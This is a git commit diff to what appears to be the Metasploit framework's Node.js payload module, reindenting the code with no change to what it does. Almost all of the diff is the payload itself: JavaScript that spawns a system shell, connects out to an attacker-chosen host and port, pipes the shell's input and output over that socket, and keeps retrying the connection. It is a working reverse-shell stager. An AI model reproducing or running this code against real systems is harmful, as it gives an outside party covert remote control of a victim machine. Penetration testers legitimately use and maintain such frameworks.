From 6df8c40bb163e93a79f3f88380a328c6e7470702 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Fri, 13 Oct 2017 17:01:47 -0500 Subject: [PATCH] adjust whitespace 'no tabs' more reabable --- lib/msf/core/payload/nodejs.rb | 36 ++++++++++++++++------------------ 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb index b9c344aad0..5033de9e82 100644 --- a/lib/msf/core/payload/nodejs.rb +++ b/lib/msf/core/payload/nodejs.rb @@ -57,25 +57,23 @@ module Msf::Payload::NodeJS sh = cp.spawn(cmd, []); var client = this; var counter=0; - function StagerRepeat(){ - client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { - client.socket.pipe(sh.stdin); - if (typeof util.pump === "undefined") { - sh.stdout.pipe(client.socket); - sh.stderr.pipe(client.socket); - } else { - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); - } - }); - socket.on("error", function(error) { - counter++; - if(counter<= #{datastore['StagerRetryCount']}){ - setTimeout(function() { - StagerRepeat(); - }, #{datastore['StagerRetryWait']}*1000); - } else - process.exit(); + function StagerRepeat(){ + client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { + client.socket.pipe(sh.stdin); + if (typeof util.pump === "undefined") { + sh.stdout.pipe(client.socket); + sh.stderr.pipe(client.socket); + } else { + util.pump(sh.stdout, client.socket); + util.pump(sh.stderr, client.socket); + } + }); + socket.on("error", function(error) { + counter++; + if(counter<= #{datastore['StagerRetryCount']}){ + setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000); + } else + process.exit(); }); } StagerRepeat();